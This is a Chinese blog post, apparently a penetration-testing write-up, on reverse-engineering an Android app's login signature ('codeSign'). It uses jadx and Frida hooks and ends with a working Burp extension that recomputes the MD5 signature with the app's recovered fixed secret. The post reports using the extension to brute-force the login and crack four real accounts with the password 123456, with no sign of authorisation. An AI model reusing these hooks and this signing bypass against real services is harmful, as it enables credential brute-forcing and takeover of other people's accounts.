前言

apk分析,发现登录口存在codeSign值签名校验,无法进行账号密码爆破操作,通过反编译apk文件再配合hook来分析加密构成逻辑,再配合加密脚本实现自动更新codeSign值实现账号密码爆破。

抓包

首先登录app使用小黄鸟抓包,看看具体情况

通过抓包可以发现登录请求包是明文的,只有密码进行了加密,不过这种一看就能看出来是base64编码的,比较简单

把数据包复制到yakit进行查看,可以发现请求头很多的字段

这里随机更改了一下username参数为admin11,发现提示签名错误,那这种应该是请求头字段进行了校验

我们先确定是哪些请求参数进行了校验,通过增删改,可以确定如下几个参数

codeSign,nonce,timestamp

并且我们通过更改请求体中的username参数也报错,说明签名校验主要是围绕上述三个参数以及请求体的数据来进行绑定校验的

查壳

这里我们需要反编译apk包分析一下具体的加解密过程,先通过查壳工具分析一下是否加壳,如下图发现并未进行加壳处理

反编译apk

因此我们可以直接使用jadx进行反编译处理,反编译后我们可以通过多种方式进行定位代码

1.uri信息,比如/user/login来查看代码处理逻辑

2.请求体中的关键字,比如username,password

3.请求头中的关键字,比如上述分析的nonce,codeSign等等

4.加解密函数关键字,比如encrypt,decrypt等等

这里先来看看请求体中参数关键字password,发现很多但是基本都是一些静态常量,并没有想要的代码逻辑

这里通过上述分析我们还可以搜索请求头中的关键字codeSign或者timestamp,这里也是发现存在一个,这种定位起来比较轻松

进入代码块进行分析

public static Headers buildHeaders(String str, String str2, String str3) {
    Headers.Builder builder = new Headers.Builder();
    String str4 = "" + b5.a.f1763e.replaceAll(" ", "");
    String strReplaceAll = UUID.randomUUID().toString().replaceAll(Constants.ACCEPT_TIME_SEPARATOR_SERVER, "");
    long jCurrentTimeMillis = System.currentTimeMillis();
    String str5 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.CHINA).format(new Date());
    String str6 = "" + g9.a.l().j();
    builder.add("Content-Type", "application/json").add("codeSign", n0.c(strReplaceAll, str3, jCurrentTimeMillis)).add("channel", "" + y0.d()).add(com.tencent.connect.common.Constants.NONCE, strReplaceAll).add(k.a.f37980d, str4).add("timestamp", jCurrentTimeMillis + "").add("date", str5).add("version", b5.a.f1765f + "").add("product-version", "541").add(com.tencent.connect.common.Constants.PARAM_PLATFORM, n.d()).add("network", g0.b() + "").add(com.alipay.sdk.m.p.e.f4294p, "" + getUuid()).add("screen-height", "" + b5.a.f1787u).add("system", "2").add("system-version", Build.VERSION.SDK_INT + "").add("third-app-token", f6.c.U().S0() + "").add("inner-version", j.b());

这里很明显是正对请求头添加相应字段,其中可以发现我们熟悉的字段。我们现在的目的很明显,就是需要搞清楚请求体中的字段是怎么来的,具体生成方式是什么,这样我们就可以根据请求的具体生成方式来构造请求从而绕过签名信息

首先我们来看codeSign值,是由n0.c(strReplaceAll, str3, jCurrentTimeMillis)来的,把strReplaceAll, str3, jCurrentTimeMillis值给n0.c处理。

分析codeSign值

strReplaceAll

其中strReplaceAll值由String strReplaceAll = UUID.randomUUID().toString().replaceAll(Constants.ACCEPT_TIME_SEPARATOR_SERVER, "");而来,是随机值然后转换为字符串通过replaceAll(Constants.ACCEPT_TIME_SEPARATOR_SERVER, "")替换其中的Constants.ACCEPT_TIME_SEPARATOR_SERVER值为空从而得到strReplaceAll,我们点进ACCEPT_TIME_SEPARATOR_SERVER值,查看后发现是"-",如下图所示

通过上面分析因此我们可以猜测uuid值随机生成的为xxxx-xxxxxxxx-xxxxxxxx-xxxx-xxxx这种类型,把其中的-替换从而生成xxxxxxxxxxxxxxxxxxxxxxxxxxxx这种类型的字符串,这种如果请求包中没有给的话我们可以通过hook的方式来解决。不过请求头中给了,这个后续再说

str3

我们再来分析第二个值,该值为str3,目前代码逻辑中没有该值的相关信息,应该是那个地方调用了buildHeaders函数从而把str3值传进来的,这里可以全局搜索buildHeaders函数具体在哪些地方去调用了然后挨个去分析,但是比较麻烦,还是hook要来的快点。

jCurrentTimeMillis

这个jCurrentTimeMillis值没有什么好说的,就是一个系统时间戳,而且在add("timestamp", jCurrentTimeMillis + "")代码中已经添加至请求头中了,且字段为timestamp,我们是可以控制这个值的。

hook_1

这里直接hook该函数,获取其strReplaceAll和str3的的值,具体hook代码如下:

Java.perform(() => {
    const targetClass = Java.use('net.xxxxxx.xxxxx.xxxx.xxx.retrofit.QfInterceptor');
    targetClass.buildHeaders.overload('java.lang.String', 'java.lang.String', 'java.lang.String').implementation = function (str, str2, str3) {
        console.log('Hooked values - strReplaceAll: ', str2);
        console.log('Hooked values - str3: ', str3);
        return this.buildHeaders(str, str2, str3);
    };
});

查看app包名,使用如下命令

adb shell am monitor

使用adb连接手机,开启服务端frida,具体如下图

然后电脑开启frida,使用如下命令

frida -U -l hook_1.js -f net.xxx.mxxapp.xxx

启动app,输入账号密码登录,如下图这样

发现str3参数为请求体信息,但是不存在strReplaceAll值,这里猜测我的hook脚本存在问题,因为该参数并非传进来的,而是直接在内部使用的,这种情况下可能hook脚本需要更改,但是这里也不用担心,因为后续的n0.c函数会调用strReplaceAll值,因此我们待会深入分析n0.c函数应该能够hook出来,这里也不是什么都没有发现,知道知道str3参数为请求体信息

n0.c函数

如下图,进入该函数内部,发现接收的三个参数分别为strReplaceAll,str(也就是请求体),jCurrentTimeMillis(当前时间戳),并且发现在函数内部有一段代码为String strG = g();,调用该类中的g函数并把该值赋值给strG

我们再分析一下g函数,发现层层调用,最终在i函数使用StringBuffer类拼接str1和str2进行反转操作,如下图所示这里其实我分析来分析去都是空值,包括b5.a.f1760c0以及f1762d0

在看最后return s9.c.c(str2 + str + strG + j10).toUpperCase();代码段,发现是把四个参数进行拼接然后通过s9.c.c进行处理后统一转换为大小写。

hook_2

上面根据的分析我们先进行一波hook,看看String str, String str2, long j10的值分别是啥,但是上面hook_1我们是知道str2为请求体,j10为时间戳,所以我们具体看看str的值也就是上述所说的strReplaceAll

public static String c(String str, String str2, long j10) {
        String strG = g();
        if (str2 == null || str2.isEmpty()) {
            str2 = "";
        }
        return s9.c.c(str2 + str + strG + j10).toUpperCase();
    }

hook代码如下:

Java.perform(() => {
    const targetClass = Java.use('com.example.YourClassName');
    targetClass.c.implementation = function (str, str2, j10) {
        console.log('Hooked str value:', str);
        console.log('Hooked str2 value:', str2);
        console.log('Hooked j10 value:', j10);

        // 调用原始方法获取返回值
        const result = this.c(str, str2, j10);
        return result;
    };
});

同样的操作,使用如下命令

frida -U -l hook_2.js -f net.xxxx.xxx.yxxbs

如下图所示,我们发现str(strReplaceAll)为一串字符,且会随机变化的

我们再hook一下strG的值

代码如下:

Java.perform(() => {
    const targetClass = Java.use('com.example.YourClassName');
    const gOriginal = targetClass.g;

    // Hook g method to get strG value
    targetClass.g.implementation = function () {
        const strG = gOriginal.call(this);
        console.log('Hooked strG value:', strG);
        return strG;
    };

    targetClass.c.implementation = function (str, str2, j10) {
        console.log('Hooked str value:', str);
        console.log('Hooked str2 value:', str2);
        console.log('Hooked j10 value:', j10);

        // 调用原始方法获取返回值
        const result = this.c(str, str2, j10);
        return result;
    };
});

我们发现strG的值没有变过,是写死的固定值而不是随机值

s9.c.c函数

再来分析一下 s9.c.c函数,该函数为重点的加解密函数,进入s9.c.c函数发现该函数先使用string函数对字符串进行了格式化

关键函数为return b(MessageDigest.getInstance(bf.f.f2250b).digest(str.getBytes()));

这里了解java加解密函数的都知道该代码段的逻辑主要是创建hash算法并使用getBytes函数转换为字节数组信息最后交由b函数进行处理,而其中bf.f.f2250b就是传入的算法名称,我们可以跟进去看看一下,很明显的MD5调用

到这里已经很明显了,就是最终使用md加密后再把数据赋值给codeSign值。

其中的随机值我们应该怎么获取,我们可以从头再来分析一下

我们回过头在看回buildHeaders函数发现strReplaceAll函数是赋值在请求头中的

具体赋值的函数为com.tencent.connect.common.Constants.NONCE,我们跟进该函数发现该类中有一个静态常量nonce

通过上述的请求包分析发现缺失也存在请求头nonce

hook_3

我们再次hook一下,通过hook多个值对请求包的数据进行比对来确定是否是正确的,具体hook代码如下:

Java.perform(() => {
    const targetClass = Java.use('com.xxxx.base.util.n0');
    const gOriginal = targetClass.g;

    // Hook g method to get strG value
    targetClass.g.implementation = function () {
        const strG = gOriginal.call(this);
        console.log('Hooked strG value:', strG);
        console.log("------------------")
        return strG;
    };

    targetClass.c.implementation = function (str, str2, j10) {
        console.log('Hooked str value:', str);
        console.log('Hooked str2 value:', str2);
        console.log('Hooked j10 value:', j10);
console.log("------------------")
        // 拼接字符串
        const combinedStr = str2 + str + this.g() + j10;
        console.log('Combined string for s9.c.c:', combinedStr);
console.log("------------------")
        // 调用原始的 s9.c.c 方法
        const s9cClass = Java.use('s9.c');
        const resultBeforeUpperCase = s9cClass.c(combinedStr);
        console.log('Result of s9.c.c before toUpperCase:', resultBeforeUpperCase);
console.log("------------------")
        const result = this.c(str, str2, j10);
        console.log('Final result of c method:', result);
        console.log("------------------")
        return result;
    };
});

打开app,登录后输入账号密码,发现hook值如下:

其中:

str:随机uuid值

str2:请求体数据

strG:固定值50开头

j10:时间戳

combined:拼接起来的字符串,注意先后顺序

before toUpper:把拼接的字符串进行了先后加密,未转换大写字母

c method:转换为大写字母后的值

我们根据上述的分析依次把值替换到相应的请求字段中,发送请求成功,没有出现签名错误。

我们在更改请求体账号为test进行加密,发送请求包,发现正常请求绕过

加解密脚本编写

因此我们只要写一个脚本,加载到burp中,自动拦截指定接口信息就可以实现自带根据请求体内容来更新codeSign值信息。

脚本如下:

# -*- coding: utf-8 -*-
from burp import IBurpExtender
from burp import IHttpListener
# from burp import IToolFlag
import json
import hashlib

# 固定参数(和你的规则一致)
FIXED_NONCE = "0e206bf01fd3457eb7d03bb47988d792"
FIXED_STRG = "50e8ecba013d385bda960968c95cbc77"
FIXED_TIMESTAMP = "1762314071212"
TARGET_URL = "/v5_0/user/login"  # 只处理登录接口,避免影响其他请求


class BurpExtender(IBurpExtender, IHttpListener):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("Auto CodeSign Generator (Proxy+Repeater)")
        callbacks.registerHttpListener(self)
        print("Auto CodeSign Generator loaded successfully!")
        print("Support Proxy and Repeater requests.")

    # 监听 HTTP 请求(拦截并修改)
    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        # 只处理请求(不处理响应)
        if not messageIsRequest:
            return

        # 打印当前工具类型(方便调试,使用 format 格式化)
        tool_name = self._callbacks.getToolName(toolFlag)
        print("\n=== Tool: {0} ===".format(tool_name))

        # 只处理目标登录接口(Proxy/Repeater 都会经过这里)
        requestInfo = self._helpers.analyzeRequest(messageInfo)
        url = requestInfo.getUrl().toString()
        if TARGET_URL not in url:
            print("Skipped (not target URL): {0}".format(url))
            return

        print("=== Intercepted login request: {0} ===".format(url))

        # 1. 提取请求体(JSON 格式)
        requestBytes = messageInfo.getRequest()
        requestBodyOffset = requestInfo.getBodyOffset()
        requestBodyBytes = requestBytes[requestBodyOffset:]
        requestBodyStr = self._helpers.bytesToString(requestBodyBytes)

        try:
            # 解析请求体 JSON(确保是合法 JSON)
            requestBodyJson = json.loads(requestBodyStr)
            # 使用 format 格式化 JSON 输出(indent=2 美化)
            print("Original request body: {0}".format(json.dumps(requestBodyJson, indent=2)))
        except Exception as e:
            # 使用 format 格式化异常信息
            print("The request body is not in JSON format, skipping processing: {0}".format(str(e)))
            return

        # 2. 生成新的 codeSign(按你的规则)
        normalizedBodyStr = json.dumps(requestBodyJson, ensure_ascii=False, separators=(',', ':'))
        rawSign = normalizedBodyStr + FIXED_NONCE + FIXED_STRG + FIXED_TIMESTAMP

        # 计算 MD5 并转大写(修复原脚本的 print(md5_obj) 错误)
        md5_obj = hashlib.md5(rawSign.encode('utf-8'))
        newCodeSign = md5_obj.hexdigest().upper()
        print("Automatically generated new codeSign: {0}".format(newCodeSign))

        # 3. 替换请求头中的 codeSign
        headers = requestInfo.getHeaders()
        newHeaders = []
        codeSignExists = False
        for header in headers:
            if header.strip().lower().startswith("codesign:"):
                # 用 format 格式化 codeSign 替换语句
                newHeaders.append("codeSign: {0}".format(newCodeSign))
                codeSignExists = True
            else:
                newHeaders.append(header)

        # 若请求头中没有 codeSign,新增该字段(用 format 格式化)
        if not codeSignExists:
            newHeaders.append("codeSign: {0}".format(newCodeSign))

        # 4. 重新构建请求(用标准化后的请求体字符串生成字节,确保签名与请求体一致)
        newRequestBodyBytes = self._helpers.stringToBytes(normalizedBodyStr)
        newRequestBytes = self._helpers.buildHttpMessage(newHeaders, newRequestBodyBytes)

        # 更新请求
        messageInfo.setRequest(newRequestBytes)
        print("=== codeSign replacement completed, request released ===")

打开burp扩展加载脚本信息,这里可能会有报错,根据报错信息修改代码即可。

直接使用爆破模块对用户进行爆破,密码固定为123456,成功爆破出四个账号密码,应该还有更多

在回到log模块查看请求情况,可以发现每一次更改请求体信息codeSign值都会重新计算然后发包。

总结

上述apk文件目前认为分析的非常详细与透彻,其实主要的还是该apk没有做任何的加固措施,比如代码混淆,frida工具特征校验,root环境校验,加壳等等,所以分析起来不是那么困难,主要也是通过手动代码分析和hook值来分析,其实如果代码不是很了解的话可以多多用hook,就如上述我说所的strG的值,如果你不hook你可能很难进行下一步分析,其次就是nonce值,该值其实在上述代码分析时我都没有注意看到,后续是第二次再进行分析才发现的,大概就是这样,如果有什么更好的建议欢迎留言。